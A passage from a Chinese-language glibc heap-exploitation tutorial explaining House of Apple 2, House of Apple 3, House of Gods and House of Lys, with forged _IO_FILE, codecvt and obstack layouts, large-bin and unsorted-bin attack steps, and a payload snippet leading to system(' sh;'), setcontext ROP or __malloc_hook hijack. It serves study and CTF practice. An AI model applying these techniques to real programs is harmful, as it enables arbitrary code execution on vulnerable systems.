这里没有任何 PTR_DEMANGLE 解密,也没有任何 IO_validate_vtable 检查! 只要我们能控制 fp->_wide_data,就能控制 _wide_vtable,就能直接控制 RIP 寄存器执行任意函数

了解前置知识后就可以开始利用

设置堆布局如下:

绝对物理地址         物理偏移     内部重叠字段双重视角 (fp 视角 / 扩展视角)        被强制写入的物理数据 (8字节/行)
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x000 |         | Chunk L1 (已在 Large Bin 的靶子)       | (被篡改 bk_nextsize = _IO_list_all - 0x20)
-------------------------------------------------------------------------------------------------------
HEAP_BASE + 0x470 |         | Chunk L2 (即将 Free 的 LBA 子弹)       |
                  | +0x00   | _flags (即将被 LBA 的系统指针彻底覆盖)   | [ 无所谓,必然战损 ]
                  | ...     | ... 前面 0x20 字节被系统接管           | [ 垃圾数据 ]
                  | +0x28   | _IO_write_ptr                       | 0x0000000000000000 (必须为0,让它检查失败)
                  | +0x68   | _chain                               | [ HEAP_BASE + 0x600 ] (指向 Chunk F)
-------------------------------------------------------------------------------------------------------
                  |         | ====== Chunk F (Apple 2 狙击母舰) 数据区开始 ====== |
HEAP_BASE + 0x600 | +0x00   | _flags                               | b' sh;\x00\x00\x00' (绕过安检,并作为shell)
HEAP_BASE + 0x608 | +0x08   | _IO_read_ptr                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x610 | +0x10   | _IO_read_end                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x618 | +0x18   | _IO_read_base                       | 0x0000000000000000 (0填充)
HEAP_BASE + 0x620 | +0x20   | _IO_write_base                       | 0x0000000000000000 (基址归零)
HEAP_BASE + 0x628 | +0x28   | _IO_write_ptr                       | 0x0000000000000001 <--- 强行使其大于 base!
HEAP_BASE + 0x630 | +0x30   | _IO_write_end / _wide_data->_buf_base| 0x0000000000000000 (必须为0以触发分配分支)
HEAP_BASE + 0x638 | +0x38   | _IO_buf_base                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x640 | +0x40   | _IO_buf_end                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x648 | +0x48   | _IO_save_base                       | 0x0000000000000000 (0填充)
HEAP_BASE + 0x650 | +0x50   | _IO_backup_base                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x658 | +0x58   | _IO_save_end                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x660 | +0x60   | _markers                             | 0x0000000000000000 (0填充)
HEAP_BASE + 0x668 | +0x68   | _chain / _wide_vtable->doallocate   | [ system 的绝对物理地址 ]
HEAP_BASE + 0x670 | +0x70   | _fileno / _flags2                   | 0x0000000000000000 (0填充)
HEAP_BASE + 0x678 | +0x78   | _old_offset                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x680 | +0x80   | _cur_column 等...                     | 0x0000000000000000 (0填充)
HEAP_BASE + 0x688 | +0x88   | _lock                               | [ 已知可写且值为0的绝对物理地址 ]
HEAP_BASE + 0x690 | +0x90   | _offset                             | 0x0000000000000000 (0填充)
HEAP_BASE + 0x698 | +0x98   | _codecvt                             | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6A0 | +0xA0   | _wide_data                           | [ HEAP_BASE + 0x600 ] (指向 Chunk F 自己)
HEAP_BASE + 0x6A8 | +0xA8   | _freeres_list                       | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6B0 | +0xB0   | _freeres_buf                         | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6B8 | +0xB8   | __pad5                               | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6C0 | +0xC0   | _mode                               | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6C8 | +0xC8   | _unused2                             | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6D0 | +0xD0   | _unused2                             | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6D8 | +0xD8   | vtable                               | [ &_IO_wfile_jumps 的绝对地址 ]
-------------------------------------------------------------------------------------------------------
                  |         | ====== _IO_FILE 结构结束,_wide_data 专属延伸视野 ====== |
HEAP_BASE + 0x6E0 | +0xE0   | _wide_data->_wide_vtable             | [ HEAP_BASE + 0x600 ] (再次指向 Chunk F自己)
-------------------------------------------------------------------------------------------------------

执行 free(L2) 并申请大块,触发 Large Bin 插入机制

【 libc 全局变量区】
_IO_list_all ===> [ HEAP_BASE + 0x470 ] (指向桥梁 Chunk L2)

【 Chunk L2 的战损与桥梁作用 】
+0x00: 被写入 main_arena 地址
+0x28: 我们主动设为 0
+0x68: 完好无损的 [ HEAP_BASE + 0x600 ] (Chunk F)

程序正常结束触发 exit()。CPU 物理执行流如下:

  • _IO_flush_all_lockp 检查 L2,发现 write_ptr(0) > write_base(0) 不成立。跳过 L2。
  • 系统读取 L2->_chain,执行流无缝跳转至 Chunk F (HEAP_BASE + 0x600

系统检查 Chunk F 的 _flags (b' sh;\x00\x00\x00')。因为小端序低位是 0x20,完美绕过 _IO_NO_WRITES (0x8) 检查。

检查 write_ptr(1) > write_base(0) 成立

提取 vtable (_IO_wfile_jumps),跳入真实函数 _IO_wfile_overflow(fp, EOF)

进入 _IO_wfile_overflow 内部源码,系统决定是否需要分配宽字符缓冲区

C源码: if (fp->_flags & _IO_NO_WRITES) 
实际判断: 0x20 & 0x8 == 0 (安检通过)

C源码: _IO_wdoallocbuf(fp);
实际判断: if (fp->_wide_data->_IO_buf_base == 0)
物理动作: 提取 [ HEAP_BASE + 0x600 + 0xA0 ] ===> 得到 HEAP_BASE + 0x600 (即 fp 本身)
        检查 [ HEAP_BASE + 0x600 + 0x30 ] ===> 该偏移处为 0。条件成立!(认为尚未分配缓冲区)

进入极其致命的最终宏展开:
C源码: (fp->_wide_data->_wide_vtable->doallocate) (fp)

物理动作 1: 提取 _wide_vtable (偏移 +0xE0)
        [ HEAP_BASE + 0x600 + 0xE0 ] ===> 得到 HEAP_BASE + 0x600 (依然是 fp 本身!)

物理动作 2: 提取 doallocate (偏移 +0x68)
        [ HEAP_BASE + 0x600 + 0x68 ] ===> 得到 system_addr !

物理动作 3: 执行 CALL 指令
        RDI (参数 1) = HEAP_BASE + 0x600 (即 fp 的绝对地址)
        CALL [ system_addr ]

House of Apple3

适用版本:2.23—— 至今

堆溢出,use after free

前置知识:

_IO_wfile_underflow 是什么?

在 glibc 的 IO 部门中:

  • overflow (溢出): 负责处理写入(Write)时的缓冲区满载问题。
  • underflow (下溢): 负责处理读取(Read)时的缓冲区干涸问题。

当程序调用 fgetwc 等函数尝试从文件中读取宽字符时,如果系统发现内存里的读取缓冲区已经空了(干涸了),它就会调用 _IO_wfile_underflow

它的合法业务逻辑如下:

  1. 检查文件是否允许读取(检查 _flags 是否包含 _IO_NO_READS 标志位)。
  2. 确认读取缓冲区确实空了(检查 read_ptr >= read_end)。
  3. 从底层操作系统(如硬盘)读取一批原生的字节数据。
  4. 调用 _codecvt (代码转换引擎):因为从硬盘读上来的是普通字节,而程序需要的是宽字符(比如把 UTF-8 转换为 wchar_t),系统必须调用转换函数进行解码。

进入 codecvt 引擎执行

系统拿到 cv 指针后,会调用 __libio_codecvt_in。这个函数的本意是:“请使用这个转换器,把刚才读到的原始字节转成宽字符。”

物理寻址流程:

  1. 提取步骤 (step): 源码执行 struct __gconv_step *step = cv->__cd_in.step;
    • 动作: 访问 cv + 0x00(即 HEAP_BASE + 0x560),我们将在这里控制待跳转地址
  2. 安全检查 (shlib_handle):
    • 源码: if (step->__shlib_handle != NULL)。系统想看这个转换逻辑是否来自一个动态加载的库(比如 libGBK.so)。
    • 动作: 访问 step + 0x00,就是上一步跳转到的地址,我们需要把这里填为0,让系统以为这个handle为空
  3. 进入裸奔分支: 因为 handle 为空,系统认为这是内核/libc 自带的转换逻辑,不需要复杂的安全校验,直接准备执行函数指针

在 glibc 2.29 之后,setcontext 的控制寄存器从 RDI 变成了 RDX(或者需要配合 getcontext),但 Apple 3 的这套流程能同时控制多个寄存器,极其方便

执行跳转的物理动作:

  • 源码: DL_CALL_FCT (step->__fct, (step, ...))
  • 汇编动作: CALL [step + 0x28] (在 __gconv_step 结构体中,__fct 偏移是 +0x28)
  • 物理结果: 访问 step + 0x28。提取出 setcontext 的地址,RIP 被劫持

根据 x64 调用约定(Calling Convention),函数调用的参数依次放入 RDI, RSI, RDX

  1. RDI = 第一个参数 = step 由于调用是 fct(step, ...),所以 RDI 被自动赋予了 step 的值,即step + 0x00
    • 用途: setcontext 会把 RDI 当作 ucontext_t 结构体,从这个堆地址开始恢复所有寄存器。
  2. RSI = 第二个参数 = step_data 系统从 cv->__cd_in.step_data 提取参数放入 RSI
    • 动作: 访问 cv + 0x08
    • 用途: 你可以在这里填入 ROP 链的地址,或者作为 setcontext 偏移调整的跳板
    • rip会从布置好的setcontext继续执行

了解这些前置后,就可以开始利用

布置堆块布局如下:

绝对物理地址           大小        块名称 
-------------------------------------------------------------------------
HEAP_BASE + 0x000 | 0x450 | Chunk L1 ( LBA 靶子)
HEAP_BASE + 0x450 | 0x020 | Chunk G1 (物理隔离墙)
HEAP_BASE + 0x470 | 0x440 | Chunk F  
HEAP_BASE + 0x8B0 | 0x020 | Chunk G2 (物理隔离墙)
HEAP_BASE + 0x8D0 | ----- | Top Chunk
-------------------------------------------------------------------------

chunk F内部布置:

绝对物理地址         物理偏移   结构体内具体变量及占用大小 (8字节/行)         被强制写入的物理数据 (十六进制/说明)
------------------------------------------------------------------------------------------------------------------
                  |         | ========================== 第一层:_IO_FILE 基础结构 ========================== |
HEAP_BASE + 0x480 | +0x00   | int _flags (4字节) + pad (4字节)           | 0x0000000000000000 (绕过 _IO_NO_READS)
HEAP_BASE + 0x488 | +0x08   | char* _IO_read_ptr (8字节)                 | 0x0000000000000000 (确保缓冲区判定为空)
HEAP_BASE + 0x490 | +0x10   | char* _IO_read_end (8字节)                 | 0x0000000000000000
HEAP_BASE + 0x498 | +0x18   | char* _IO_read_base (8字节)               | 0x0000000000000000
HEAP_BASE + 0x4A0 | +0x20   | char* _IO_write_base (8字节)               | 0x0000000000000000 (基址归0)
HEAP_BASE + 0x4A8 | +0x28   | char* _IO_write_ptr (8字节)               | 0x0000000000000001 (强制 > base)
HEAP_BASE + 0x4B0 | +0x30   | char* _IO_write_end (8字节)               | 0x0000000000000000
HEAP_BASE + 0x4B8 | +0x38   | char* _IO_buf_base (8字节)                 | 0x0000000000000000
HEAP_BASE + 0x4C0 | +0x40   | char* _IO_buf_end (8字节)                 | 0x0000000000000000
HEAP_BASE + 0x4C8 | +0x48   | char* _IO_save_base (8字节)               | 0x0000000000000000
HEAP_BASE + 0x4D0 | +0x50   | char* _IO_backup_base (8字节)             | 0x0000000000000000
HEAP_BASE + 0x4D8 | +0x58   | char* _IO_save_end (8字节)                 | 0x0000000000000000
HEAP_BASE + 0x4E0 | +0x60   | struct _IO_marker *_markers (8字节)       | 0x0000000000000000
HEAP_BASE + 0x4E8 | +0x68   | struct _IO_FILE *_chain (8字节)           | 0x0000000000000000
HEAP_BASE + 0x4F0 | +0x70   | int _fileno (4) + int _flags2 (4)         | 0x0000000000000000 (合并对齐)
HEAP_BASE + 0x4F8 | +0x78   | __off_t _old_offset (8字节)               | 0x0000000000000000
HEAP_BASE + 0x500 | +0x80   | _cur_column(2)+_vtable_offset(1)+pad(5)   | 0x0000000000000000 (碎变量补齐)
HEAP_BASE + 0x508 | +0x88   | _IO_lock_t *_lock (8字节)                 | [ 已知可写且值为0的绝对物理地址 ]
HEAP_BASE + 0x510 | +0x90   | __off64_t _offset (8字节)                 | 0x0000000000000000
HEAP_BASE + 0x518 | +0x98   | struct _IO_codecvt *_codecvt (8字节)       | [ HEAP_BASE + 0x560 ] (指向下方第二层)
HEAP_BASE + 0x520 | +0xA0   | struct _IO_wide_data *_wide_data (8字节)   | [ HEAP_BASE + 0x480 ] (Chunk F数据起址)
HEAP_BASE + 0x528 | +0xA8   | struct _IO_FILE *_freeres_list (8字节)     | 0x0000000000000000
HEAP_BASE + 0x530 | +0xB0   | void *_freeres_buf (8字节)                 | 0x0000000000000000
HEAP_BASE + 0x538 | +0xB8   | size_t __pad5 (8字节)                     | 0x0000000000000000
HEAP_BASE + 0x540 | +0xC0   | int _mode(4) + char _unused2前4字节(4)     | 0x0000000000000000
HEAP_BASE + 0x548 | +0xC8   | char _unused2 中间 8 字节                   | 0x0000000000000000
HEAP_BASE + 0x550 | +0xD0   | char _unused2 末尾 8 字节                   | 0x0000000000000000
HEAP_BASE + 0x558 | +0xD8   | const struct _IO_jump_t *vtable (8字节)   | [ &_IO_wfile_jumps + 0x08 ] (错位虚表)
------------------------------------------------------------------------------------------------------------------
                  |         | ========================= 第二层:_IO_codecvt 结构 ========================== |
HEAP_BASE + 0x560 | +0xE0   | struct __gconv_step *__cd_in.step         | [ HEAP_BASE + 0x570 ] (指向下方第三层)
HEAP_BASE + 0x568 | +0xE8   | struct __gconv_step_data *__cd_in.step_data| [ RSI 目标寄存器的值:布置的 ROP 链基址 ]
------------------------------------------------------------------------------------------------------------------
                  |         | ========================= 第三层:__gconv_step 结构 ========================= |
HEAP_BASE + 0x570 | +0xF0   | __gconv_loaded_object *__shlib_handle     | 0x0000000000000000 (必须为0,绕过验证)
HEAP_BASE + 0x578 | +0xF8   | const char *__modname                     | 0x0000000000000000
HEAP_BASE + 0x580 | +0x100 | int __counter (4字节) + pad (4字节)       | 0x0000000000000000
HEAP_BASE + 0x588 | +0x108 | char *__from_name                         | 0x0000000000000000
HEAP_BASE + 0x590 | +0x110 | char *__to_name                           | 0x0000000000000000
HEAP_BASE + 0x598 | +0x118 | __gconv_fct __fct                         |[ etcontext或Magic Gadget 的绝对物理地址 ]
------------------------------------------------------------------------------------------------------------------

接着是经典的Largebin attack

执行 free(L1),L1 进入 Unsorted Bin。再申请一个大块,系统将 L1 整理进入 Large Bin

利用堆溢出,或者 UAF 漏洞,修改已在 Large Bin 里的 Chunk L1bk_nextsize 字段: 将其覆盖为:_IO_list_all_addr - 0x20

执行 free(F),Chunk F 进入 Unsorted Bin。再次申请一个大块。 系统发现 F (0x440) 比 L1 (0x450) 小,决定把 F 插入到 L1 的后面

宏调用展开:L1->bk_nextsize->fd_nextsize = Chunk_F_Addr;

物理对撞:
目标内存:(_IO_list_all - 0x20) + 0x20 ===> 即 _IO_list_all 全局变量本身。
写入数据:HEAP_BASE + 0x470             ===> 即 Chunk F 的块头地址。

战果:_IO_list_all ===> [ HEAP_BASE + 0x470 ]

执行 exit() 结束程序,交出 CPU 控制权

  1. 欺骗 _IO_flush_all_lockp (虚表错位跳转): 系统检查到 write_ptr(1) > write_base(0)。提取虚表 _IO_wfile_jumps + 0x08,读取偏移 +0x18 处的函数。 实际上读取到了 _IO_wfile_underflow。执行流跳入!
  2. _IO_wfile_underflow 内部剥洋葱: 安检 _flags (0)、read_ptr < read_end (0<0) 全过。 系统提取 fp->_codecvt物理动作: 读取 HEAP_BASE + 0x518,获得 HEAP_BASE + 0x560
  3. 进入 codecvt 引擎执行核爆: 系统跳入 __libio_codecvt_in。 提取 __cd_in.step物理动作: 读取 HEAP_BASE + 0x560,获得 HEAP_BASE + 0x570。检查 __shlib_handle物理动作: 读取 HEAP_BASE + 0x570,值为 0,直接放行进入裸奔分支!
  4. 寄存器完美布局与执行: 系统准备执行 __fct物理动作: 提取 HEAP_BASE + 0x598,得到 setcontext 的地址。 准备寄存器: RDI = __cd_in.step 本身 ===> RDI = HEAP_BASE + 0x570 RSI = __cd_in.step_data ===> RSI = [ HEAP_BASE + 0x568 ] (你填入的 ROP 链基址) 执行 CALL setcontext_addr

后续的流程就是 setcontext 根据 RDIRSI 里的数据恢复各个寄存器(尤其是 RSP),从而完美切入你在堆上布置的 ROP 链

House of Gods

适用版本:2.23——2.27

堆溢出

前置知识:

binmap 的业务逻辑是什么?main_arena 内部,系统为了快速查找哪个 Bin 里有空闲的堆块,设计了一个“位图”(Bitmap)。 它定义为:unsigned int binmap[4]; (4 个 32 位的无符号整型,总共占用 16 字节)。 每当一个堆块被放入 Bin 中,系统就会把对应的“位”标记为 1

假设新放入的堆块是 Small Bin 的第 9 号索引,那么系统就会执行:让 binmap[0] 的第 9 位置为 1。 数学上:1 << 9 的十进制是 512,转换为十六进制就是 0x200

地址偏移      对应原生变量    十六进制字节存放 (小端序)    含义说明
+0x848     | binmap[0]   | 00                       | (低位字节)
+0x849     | binmap[0]   | 02                       | (0x200 的有效位就存这里)
+0x84A     | binmap[0]   | 00                       |
+0x84B     | binmap[0]   | 00                       | (高位字节)
-------------------------------------------------------------------------
+0x84C     | binmap[1]   | 00                       | (由于没别的块,全为 0)
+0x84D     | binmap[1]   | 00                       |
+0x84E     | binmap[1]   | 00                       |
+0x84F     | binmap[1]   | 00                       |

当你执行 malloc(0xffffffffffffffbf + 1),也就是申请 0xffffffffffffffc0 (接近 16 EB 的天文数字) 时,系统进入 _int_malloc 函数

_int_malloc 发现当前管辖的堆内存彻底枯竭,只能向底层的操作系统求援。于是,它无条件执行了: return sysmalloc(nb, av);

进入 sysmalloc 后,系统准备调用 mmap 或者 sbrk 向 Linux 内核要这 16 EB 的内存

// glibc 内部 sysmalloc 的容量核对逻辑
if (av->system_mem + size > av->max_system_mem) {
   // 触发系统内存超限保护
}

如果我们这里将system_mem改的非常大,CPU 在进行 av->system_mem + size 的加法运算时,直接发生整数溢出(Integer Overflow)

sysmalloc 内部的安检机制瞬间被触发,它认为系统的内存记录已经彻底崩坏或达到了物理极限,拒绝执行任何耗时的系统调用,直接返回 NULL(0 内存)

sysmalloc 灰溜溜地把 NULL 返回给了最外层的 __libc_malloc 统筹函数

// __libc_malloc 源码
victim = _int_malloc (ar_ptr, bytes); // 这里因为 sysmalloc 失败,返回了 NULL!

if (!victim && ar_ptr != NULL) {      // 分配失败,且当前有 Arena
   ar_ptr = arena_get_retry (ar_ptr, bytes); // 触发急救!尝试换一个分配器!
   victim = _int_malloc (ar_ptr, bytes);
}

统认为:“当前这个 main_arena 已经完全阻塞了,我必须换一个 Arena 试试!”。执行流成功掉进 arena_get_retry

arena_get_retry 内部,系统面临终极抉择:是新建(new)还是重用(reuse)?

// glibc 内部急救逻辑:
if (narenas < mp_.arena_max) {
   // 如果当前的 Arena 数量还没达到系统上限 (通常等于 CPU 核心数 * 8)
   // 系统会调用 mmap 去开辟一块全新的、干净的内存作为 Arena
   result = _int_new_arena();
} else {
   // 如果系统认为 Arena 已经爆满了,不能再建了
   // 它就会去遍历现有的 Arena 链表,也就是去读取 main_arena.next!
   result = reused_arena();
}

narenas 正常情况下很小(比如只有 1)。如果我们不改它,系统就会走新建分配器这条路

但如果我们把narenas改得很大,narenas < mp_.arena_max 为假,系统判定:“Arena 数量已爆满,不能再新建了,必须去链表里找旧的!”执行流成功转入 reused_arena

它的底层逻辑极其简单粗暴:顺着 next 指针往下摸。

result = result->next;

如果我们将这个struct malloc_state *next 改成Fake_Arena_Addr,系统就会执行thread_arena = Fake_Arena_Addr,然后听从我们伪造的thread_arena的指挥

初始化堆布局如下:

低地址 (Heap 内存区)
-------------------------------------------------------------------------
绝对物理地址           大小     块名称 / 当前状态
-------------------------------------------------------------------------
HEAP_BASE + 0x000 | 0x090 | Chunk S1 (即将被用来生成假尺寸)
HEAP_BASE + 0x090 | 0x020 | Chunk G1 (物理隔离墙)
HEAP_BASE + 0x0B0 | 0x810 | Chunk Large (普通使用块)
HEAP_BASE + 0x8C0 | 0x110 | Chunk U1 (第一发 UBA )
HEAP_BASE + 0x9D0 | 0x020 | Chunk G2 (物理隔离墙)
HEAP_BASE + 0x9F0 | 0x110 | Chunk U2 (第二发 UBA )
HEAP_BASE + 0xB00 | 0x020 | Chunk G3 (物理隔离墙)
HEAP_BASE + 0xB20 | ----- | Top Chunk (荒野)
-------------------------------------------------------------------------
高地址

free(S1) 让S1 进入 Unsorted Bin

再malloc(0x800),触发系统整理将S1放入small bin

由于 S1 进入了 Small Bin [9],系统底层执行了 main_arena.binmap[0] |= (1 << 9)。 在遥远的高地址 libc 中,一个天然的、大小为 0x200 的假块(Fake Chunk)诞生了

低地址 (Libc 内存区 - .data 段)
-----------------------------------------------------------------------------------------
绝对物理地址             原生字段 (struct malloc_state)       天然形成的 Fake Chunk 结构
-----------------------------------------------------------------------------------------
MAIN_ARENA_BASE + 0x840 | bins[126].bk (堆指针)               | prev_size
MAIN_ARENA_BASE + 0x848 | binmap[0] 和 binmap[1]             | size ===> 0x0000000000000200
MAIN_ARENA_BASE + 0x850 | binmap[2] 和 binmap[3]             | fd
MAIN_ARENA_BASE + 0x858 | struct malloc_state *next           | bk ===> [ MAIN_ARENA_BASE ]
MAIN_ARENA_BASE + 0x860 | next_free                           | (未来将被申请出去的用户数据区)
-----------------------------------------------------------------------------------------
高地址

接着free(U1)

利用堆溢出或者use after free

将 U1 的 bk 指针,精准指向 libc 里的 Fake Chunk 块头

低地址 (Heap 内存区)
-------------------------------------------------------------------------
HEAP_BASE + 0x8C0 | Chunk U1
                  | +0x00 prev_size
                  | +0x08 size = 0x111
                  | +0x10 fd = 0x00
                  | +0x18 bk = [ MAIN_ARENA_BASE + 0x840 ] (死死咬住 libc 里的 Fake Chunk!)
-------------------------------------------------------------------------
高地址
# 系统顺着 U1 的 bk,飞跃到 libc,找到了那个 size 为 0x200 的 Fake Chunk,并把它分配给了你!
Target = malloc(0x1f0)

# 现在,Target 指向了 MAIN_ARENA_BASE + 0x850 (Fake Chunk 的用户数据区起址)
# 执行绝对覆写:
payload = p64(0)                             # +0x850 覆盖 binmap[2,3]
payload += p64(Fake_Arena_Addr)               # +0x858 覆盖 next 指针!
payload += p64(0)                             # +0x860 覆盖 next_free
payload += p64(0)                             # +0x868 覆盖 attached_threads
payload += p64(0xFFFFFFFFFFFFFFFF)           # +0x870 覆盖 system_mem
edit(Target, payload)

为了防止系统在异常时创建新的 Arena,必须把记录 Arena 数量的全局变量 narenas 改成一个极大的值

free(U2),U2放入 Unsorted Bin

利用漏洞篡改 U2 的 bk,瞄准 narenas 的前 0x10 字节

接着malloc(0x100),精确匹配并分配 U2

触发U2脱下unsorted bin链,然后U2的bck->fd=MAIN_ARENA_BASE + 0x58

即narenas =MAIN_ARENA_BASE + 0x58

绝对物理地址 (libc .data 段)   原生变量名称             被强制写入的物理数据 (8字节/行)
-----------------------------------------------------------------------------------------------------------------
narenas_addr - 0x10       | (其他全局变量)           | 正常数据
narenas_addr - 0x08       | (其他全局变量)           | 正常数据
narenas_addr + 0x00       | int narenas           | [ MAIN_ARENA_BASE + 0x58 ] (被替换为一个巨大的堆栈指针!)
narenas_addr + 0x08       | (其他全局变量)           | 正常数据
-----------------------------------------------------------------------------------------------------------------

narenas 瞬间变得极其巨大,系统判定“不能再创建任何新 Arena”

所有的陷阱都已经布置完毕:

  1. next 指针变成了你控制的 Fake_Arena_Addr
  2. system_mem 变成了 0xFFFFFFFFFFFFFFFF(必将引发溢出失败)。
  3. narenas 变成了巨大数值(系统判定严禁新建 Arena)

接着malloc(0xffffffffffffffbf + 1)

申请巨大内存,main_arena 失败,转入 sysmalloc

sysmalloc 读取 system_mem,加法溢出,彻底崩溃,返回 NULL

libc 收到 NULL,触发 arena_get_retry 尝试换分配器。

检查 narenas 发现巨大数值,进入 reused_arena 寻找旧分配器

读取 main_arena.next,直接读出 Fake_Arena_Addr

执行 thread_arena = Fake_Arena_Addr

如果之前在Fake_Arena->fastbinsY[2] (即偏移 +0x10 的地方) 填入了__malloc_hook 的地址, 在拿到thread_arena后调用一次 malloc(0x38)

系统就会返回__malloc_hook所在的内存,后续可以修改为one_gadget劫持malloc的调用

House of Lys

适用版本:2.23 ——2.36

堆溢出,use after free

前置知识:

obstack (Object Stack / 对象栈) 是什么? 在早期的 GNU C 库(glibc)开发中,程序员发现频繁地调用 mallocfree 去申请零碎的小内存,既慢又容易产生内存碎片。 于是他们发明了 obstack 这个扩展库。它就像一个“内存池”,允许你连续不断地向里面塞数据,当内存不够用时,它会自动去向系统申请一大块新的内存(Chunk),并把旧数据接续过去

  • obstack 的哲学:** 就像是租下整个体育馆,然后在里面拉布帘。 系统一次性向内核申请一块极其巨大的内存(Chunk)。然后当程序需要内存时,系统直接在这个大内存里划一道线(移动指针)分给你。
  • 最大优势: 它释放内存时,不需要像 free 那样一个个回收,而是直接把那道线往回一拉,瞬间全部清空!这对于需要频繁分配小对象、最后又要一起销毁的场景具有很大优势

为了让这个内存池足够灵活,开发者允许用户自定义“如何去申请新内存”。于是他们在 struct obstack 结构体里,留下了两个极其原始的函数指针:

  • chunkfun:当内存不够时,调用这个函数去要内存(默认是 malloc)。
  • freefun:当销毁内存池时,调用这个函数去释放内存(默认是 free

后来,glibc 引入了标准的文件流系统(_IO_FILE,也就是我们常用的 stdin, stdout, fopen 等)。 有些程序员提出:“我能不能像写文件一样,把数据写进 obstack 内存池里?” 为了满足这个需求,glibc 开发者硬生生地把 _IO_FILEobstack 拼在了一起,创造了 _IO_obstack_file 这个结构体:

struct _IO_obstack_file {
 struct _IO_FILE_plus file;  // 标准的流结构体 (占 0xE0 大小)
 struct obstack *obstack;    // 一个指针,指向背后的内存池控制块
};

如果我们在伪造的流中,把 write_ptr 设为 1,write_base 设为 0。

系统一看:“哎呀,这个文件里还有 1 个字节的脏数据没写出去!我得赶紧调用虚表里的 _IO_OVERFLOW 函数,把它刷新掉

我们可以把虚表布置为IO_obstack_jumps + 0x20

系统本来想调用在 +0x18OVERFLOW ,但它实际拿到了原本放在 IO_obstack_jumps +0x38_IO_obstack_xsputn 它毫不怀疑地照着执行了

(在 glibc 的源码中,_IO_obstack_jumps 这个虚表的 +0x38 偏移处,存放的函数恰好是 _IO_obstack_xsputn

CPU 跑进了 xsputn 函数。这个函数的作用是“把一串数据塞进 obstack 内存池”。它提取了底层的 obstack 结构体,调用 obstack_grow 准备写入

要是我们在 obstack 结构体里,把代表内存容量的 next_freechunk_limit 全设成了 0。系统一看:“内存池满了,连 1 个字节都塞不下了,必须马上开辟新内存块!”

为了开辟新内存,系统进入了 _obstack_newchunk 函数,并调用了那个旧时代的宏 CALL_CHUNKFUN

如果这时候我们已经把use_extra_arg 标志位设为 1(代表用户自定义了内存分配函数)

  • 并且拿到我们写在 chunkfun 里的 system 地址
  • 还拿到了我们写在 extra_arg 里的 堆区字符串( sh;)地址,并放进了 RDI 寄存器。

系统就会忠诚地执行:system(" sh;")

了解这些前置后,就可以开始利用

先申请堆块布局如下:

低地址 (Heap 内存区)
+----------------------------------+
| Chunk L1 (大小 0x450)           | <--- HEAP_BASE + 0x000 (准备当靶子)
+----------------------------------+
| Chunk G1 (大小 0x020)           | <--- HEAP_BASE + 0x450
+----------------------------------+
| Chunk F (大小 0x440)           | <--- HEAP_BASE + 0x470
| (用户数据区起点:+0x480)         |
+----------------------------------+
| Chunk G2 (大小 0x020)           | <--- HEAP_BASE + 0x8B0
+----------------------------------+
| Top Chunk                       |
+----------------------------------+
高地址

接着是Large bin Attack

free(L1) ,L1 进入 Unsorted Bin

然后申请超大快malloc(0x800),触发系统整理将L1放入Large bin

接着编辑 Chunk F

绝对物理地址         物理偏移   原生结构体变量 (64位 8字节对齐)              被强制写入的物理数据 (十六进制/说明)
------------------------------------------------------------------------------------------------------------------
                  |         | ========================= 第一层:_IO_FILE 基础结构 ========================= |
HEAP_BASE + 0x480 | +0x00   | _flags (8字节)                             | 0x000000003b687320 (精心构造的 b' sh;')
HEAP_BASE + 0x488 | +0x08   | _IO_read_ptr                               | 0x0000000000000000
...               | ...     | (read_end, read_base 填 0)                 | 0x0000000000000000
HEAP_BASE + 0x4A0 | +0x20   | _IO_write_base                             | 0x0000000000000000 (基址归0)
HEAP_BASE + 0x4A8 | +0x28   | _IO_write_ptr                             | 0x0000000000000001 (强制 > base)
...               | ...     | (中间各路指针全填 0)                       | 0x0000000000000000
HEAP_BASE + 0x508 | +0x88   | _lock                                     | [ 已知可写且值为0的绝对物理地址 ]
...               | ...     | (各种 unused 和 pad 填 0)                 | 0x0000000000000000
HEAP_BASE + 0x558 | +0xD8   | vtable                                     | [ &_IO_obstack_jumps + 0x20] (错位虚表)
------------------------------------------------------------------------------------------------------------------
                  |         | =================== 第二层:_IO_obstack_file 专属扩展 ======================= |
HEAP_BASE + 0x560 | +0xE0   | struct obstack *obstack                   | [ HEAP_BASE + 0x568 ](指向下方紧邻数据区)
------------------------------------------------------------------------------------------------------------------
                  |         | =================== 第三层:struct obstack 本体结构 ========================= |
HEAP_BASE + 0x568 | +0xE8   | ob->chunk_size                             | 0x0000000000000000
HEAP_BASE + 0x570 | +0xF0   | ob->chunk                                 | 0x0000000000000000
HEAP_BASE + 0x578 | +0xF8   | ob->object_base                           | 0x0000000000000000
HEAP_BASE + 0x580 | +0x100 | ob->next_free                             | 0x0000000000000000 (分配新块的关键:设为0)
HEAP_BASE + 0x588 | +0x108 | ob->chunk_limit                           | 0x0000000000000000 (分配新块的关键:设为0)
HEAP_BASE + 0x590 | +0x110 | ob->temp (union)                           | 0x0000000000000000
HEAP_BASE + 0x598 | +0x118 | ob->alignment_mask (4) + pad (4)           | 0x0000000000000000
HEAP_BASE + 0x5A0 | +0x120 | ob->chunkfun                               | [ system 或 Gadget 的绝对物理地址 ]  
HEAP_BASE + 0x5A8 | +0x128 | ob->freefun                               | 0x0000000000000000
HEAP_BASE + 0x5B0 | +0x130 | ob->extra_arg                             | [ HEAP_BASE + 0x480 ] (这是系统稍后传给 RDI 的参数,指向 ' sh;')
HEAP_BASE + 0x5B8 | +0x138 | ob->use_extra_arg (及其他位域)             | 0x0000000000000001 (必须置1激活带参数调用模式)
------------------------------------------------------------------------------------------------------------------

然后free(F)

利用堆溢出或 UAF,修改已在 Large Bin 中的 L1 的 bk_nextsize

将 L1->bk_nextsize 改为 _IO_list_all – 0x20

再次申请大块malloc(0x800)

